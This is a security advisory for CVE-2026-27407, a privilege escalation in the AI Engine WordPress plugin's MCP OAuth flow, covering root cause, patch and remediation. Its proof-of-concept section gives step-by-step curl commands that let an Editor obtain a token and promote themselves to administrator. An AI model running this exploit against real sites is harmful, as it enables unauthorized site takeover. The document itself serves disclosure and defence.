CVE-2026-27407: AI Engine Editor+ Privilege Escalation via MCP OAuth (CVSS 7.2)
Table of Contents
CVE-2026-27407 is a CVSS 7.2 High Privilege Escalation vulnerability in the AI Engine – The Chatbot, AI Framework & MCP for WordPress plugin. An authenticated attacker with Editor-level access can exploit a missing role check in the MCP OAuth flow to obtain an access token. With that token, the attacker can call privileged MCP tools and escalate their WordPress role to administrator.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | AI Engine – The Chatbot, AI Framework & MCP for WordPress |
| Plugin Slug | ai-engine |
| CVE ID | CVE-2026-27407 |
| CVSS Score | 7.2 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| Vulnerability Type | Incorrect Privilege Assignment |
| Affected Versions | <= 3.4.9 |
| Patched Version | 3.5.0 |
| Published | May 28, 2026 |
| Researcher | Phat RiO |
| Wordfence Advisory | Link |
Description
The AI Engine plugin exposes a Model Context Protocol (MCP) server. This server provides powerful WordPress management tools. These tools include wp_create_user and wp_update_user, which can create admin accounts or change user roles.
The plugin protects its MCP endpoint with an admin check. By default, only administrators can access it. However, the plugin also supports OAuth 2.1 for clients like Claude Desktop. The OAuth authorization endpoint contains a flaw: it only checks whether the user is logged in. It does not check whether the user is an administrator.
This means any authenticated user — including an Editor — can complete the OAuth authorization flow. Once they have an OAuth token, the MCP authentication path accepts it without verifying the holder’s WordPress role. Because the server’s mcp_role setting defaults to admin, all MCP tools become available. The attacker can then call wp_update_user to promote their own account to administrator.
Technical Analysis
Vulnerability Root Cause
The vulnerability lives in two functions inside labs/mcp-oauth.php: handle_authorize and handle_authorize_submit.
handle_authorize (GET — consent page display):
// labs/mcp-oauth.php — handle_authorize() (vulnerable, version 3.4.9)
if ( !is_user_logged_in() ) {
// Redirects to wp-login.php if not logged in
wp_safe_redirect( wp_login_url( $current_url ) );
exit;
}
$user = wp_get_current_user();
// ❌ Missing: no check that $user has 'administrator' capability
$this->render_consent_page( $client, $params, $user );
exit;
The function redirects unauthenticated visitors to the login page. After login, it renders the OAuth consent page to any authenticated user — including Editors.
handle_authorize_submit (POST — authorization code issuance):
// labs/mcp-oauth.php — handle_authorize_submit() (vulnerable, version 3.4.9)
if ( !is_user_logged_in() ) {
wp_safe_redirect( wp_login_url() );
exit;
}
// ❌ Missing: no admin check before issuing the authorization code
$code_data = [
'user_id' => get_current_user_id(), // Stores ANY user's ID
// ...
];
set_transient( $this->auth_code_key( $code ), $code_data, self::AUTH_CODE_TTL );
When an Editor clicks “Approve” on the consent page, the function stores their user_id in the authorization code. No capability check prevents this.
Token Validation Accepts Any User
After the Editor exchanges the code for an OAuth token, the MCP server validates it in labs/mcp.php:
// labs/mcp.php — auth_via_bearer_token() (vulnerable, version 3.4.9)
$token_data = $this->oauth->validate_token( $token );
if ( $token_data ) {
// ❌ No role check — sets current user to the Editor
wp_set_current_user( $token_data['user_id'] );
return true; // Grants MCP access
}
The function sets the current WordPress user to the token holder and returns true unconditionally. Because the mcp_role option defaults to 'admin', the role_has_access() function returns true for every tool, including wp_update_user (marked accessLevel: 'admin').
Execution Path from Editor Login to Admin Privilege
- Editor visits the OAuth authorize endpoint and logs in via the normal WordPress login screen.
- The consent page renders — no admin gate stops the Editor.
- Editor clicks “Approve”. An authorization code is stored with the Editor’s user ID.
- Editor exchanges the code for an OAuth access token.
- Editor sends a request to the MCP HTTP endpoint with
Authorization: Bearer <token>. - The token validates successfully; the Editor now acts as an authenticated MCP user.
- Because
mcp_roledefaults to'admin',role_has_accessreturnstruefor all tools. - The Editor calls
wp_update_userwith{"ID": <editor_user_id>, "fields": {"role": "administrator"}}. - WordPress promotes the Editor to administrator.
Proof of Concept
Disclaimer: This proof of concept is provided for educational and defensive purposes only. Do not use it against systems you do not own or have explicit permission to test.
Prerequisites:
- AI Engine plugin installed and activated, version ≤ 3.4.9
- MCP feature enabled in AI Engine settings (Settings > MCP)
- An account with at least Editor-level access
Step 1 — Register an OAuth client (Dynamic Client Registration):
curl -s -X POST "https://target.example.com/wp-json/mcp/v1/oauth/register" \
-H "Content-Type: application/json" \
-d '{
"client_name": "poc-client",
"redirect_uris": ["http://127.0.0.1:8888/callback"]
}'
Save the client_id from the response.
Step 2 — Generate PKCE parameters:
CODE_VERIFIER=$(openssl rand -base64 48 | tr -d '=+/' | cut -c1-64)
CODE_CHALLENGE=$(echo -n "$CODE_VERIFIER" | openssl dgst -sha256 -binary | openssl base64 | tr -d '=' | tr '+/' '-_')
echo "Verifier: $CODE_VERIFIER"
echo "Challenge: $CODE_CHALLENGE"
Step 3 — Visit the authorization URL as the Editor:
Open this URL in a browser where the Editor is logged in:
https://target.example.com/wp-json/mcp/v1/oauth/authorize
?response_type=code
&client_id=<CLIENT_ID>
&redirect_uri=http://127.0.0.1:8888/callback
&scope=mcp
&code_challenge=<CODE_CHALLENGE>
&code_challenge_method=S256
&state=poc
Click “Approve” on the consent page. You will be redirected to http://127.0.0.1:8888/callback?code=<AUTH_CODE>&state=poc. Copy the code value.
Step 4 — Exchange the code for an access token:
AUTH_CODE="<AUTH_CODE_FROM_REDIRECT>"
CLIENT_ID="<YOUR_CLIENT_ID>"
curl -s -X POST "https://target.example.com/wp-json/mcp/v1/oauth/token" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "grant_type=authorization_code\
&code=${AUTH_CODE}\
&redirect_uri=http://127.0.0.1:8888/callback\
&code_verifier=${CODE_VERIFIER}\
&client_id=${CLIENT_ID}"
Save the access_token from the response.
Step 5 — Escalate to administrator via wp_update_user:
Replace <EDITOR_USER_ID> with the Editor’s WordPress user ID.
ACCESS_TOKEN="<YOUR_ACCESS_TOKEN>"
EDITOR_USER_ID=2
curl -s -X POST "https://target.example.com/wp-json/mcp/v1/http" \
-H "Authorization: Bearer ${ACCESS_TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "wp_update_user",
"arguments": {
"ID": '"${EDITOR_USER_ID}"',
"fields": {
"role": "administrator"
}
}
}
}'
Expected response:
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"content": [{"type": "text", "text": "User #2 updated"}]
}
}
Verification: Log in to the WordPress admin dashboard with the Editor’s credentials. The user now has the administrator role.
Patch Analysis
Version 3.5.0 introduces a new user_can_authorize() function in labs/mcp-oauth.php:
// labs/mcp-oauth.php — version 3.5.0
public function user_can_authorize( $user_id ) {
$user_id = (int) $user_id;
$allowed = $user_id > 0 && user_can( $user_id, 'administrator' );
return (bool) apply_filters( 'mwai_mcp_oauth_user_can_authorize', $allowed, $user_id );
}
This function checks that the user holds the administrator capability before allowing them to authorize an OAuth client. The fix applies this check in three places:
1. Consent page display (handle_authorize):
// Added in 3.5.0
if ( !$this->user_can_authorize( $user->ID ) ) {
$this->render_error_page(
'Only administrators can authorize MCP applications on this site.'
);
exit;
}
2. Authorization code issuance (handle_authorize_submit):
// Added in 3.5.0
if ( !$this->user_can_authorize( get_current_user_id() ) ) {
$this->render_error_page(
'Only administrators can authorize MCP applications on this site.'
);
exit;
}
3. Token validation defense-in-depth (auth_via_bearer_token in labs/mcp.php):
// Added in 3.5.0 — rejects tokens issued before the fix was deployed
if ( !$this->oauth->user_can_authorize( $token_data['user_id'] ) ) {
return false;
}
The third check protects against tokens that were issued before the patch. Even if an attacker obtained a valid OAuth token from an older plugin version, the token is now rejected at validation time if the holder lacks the administrator capability.
The fix addresses the root cause directly. Non-admin users can no longer complete the OAuth flow or use existing OAuth tokens against the MCP endpoint.
Timeline
| Date | Event |
|---|---|
| May 28, 2026 | Vulnerability publicly published by Wordfence |
| June 2, 2026 | Advisory last updated |
| Version 3.5.0 | Patch released |
Remediation
Update the AI Engine plugin to version 3.5.0 or later immediately.
- Log in to your WordPress admin dashboard.
- Go to Plugins > Installed Plugins.
- Find AI Engine – The Chatbot, AI Framework & MCP for WordPress.
- Click Update Now.
You can also update from wordpress.org/plugins/ai-engine/.
If you cannot update immediately, disable the MCP feature in AI Engine settings as a temporary mitigation. This removes the OAuth endpoint from your site until you can apply the patch.
References
- Wordfence Advisory — CVE-2026-27407
- Patchstack VDP — AI Engine 3.4.9 Privilege Escalation
- WordPress Trac — Changeset diff 3.4.9 → 3.5.0
- CVE Record — CVE-2026-27407
Frequently Asked Questions
What is CVE-2026-27407?
CVE-2026-27407 is a CVSS 7.2 High severity privilege escalation vulnerability in the AI Engine WordPress plugin. An authenticated Editor-level user can abuse the MCP OAuth authorization flow to obtain an access token and escalate their WordPress role to administrator.
Which versions of AI Engine are affected by CVE-2026-27407?
All versions up to and including 3.4.9 are affected. Version 3.5.0 contains the fix.
What can an attacker do with CVE-2026-27407?
An attacker with Editor-level access can escalate their own role to administrator. From there, they have full control over the WordPress site, including installing plugins, modifying themes, and managing all users.
Does an attacker need to be logged in to exploit CVE-2026-27407?
Yes. The attacker must have at least Editor-level access to the WordPress site. Unauthenticated users cannot exploit this vulnerability.
How do I fix CVE-2026-27407 in AI Engine?
Update AI Engine to version 3.5.0 or later from the WordPress admin dashboard or wordpress.org.
Has AI Engine been patched for CVE-2026-27407?
Yes. Version 3.5.0 was released and resolves this vulnerability by adding an administrator capability check to the MCP OAuth authorization flow.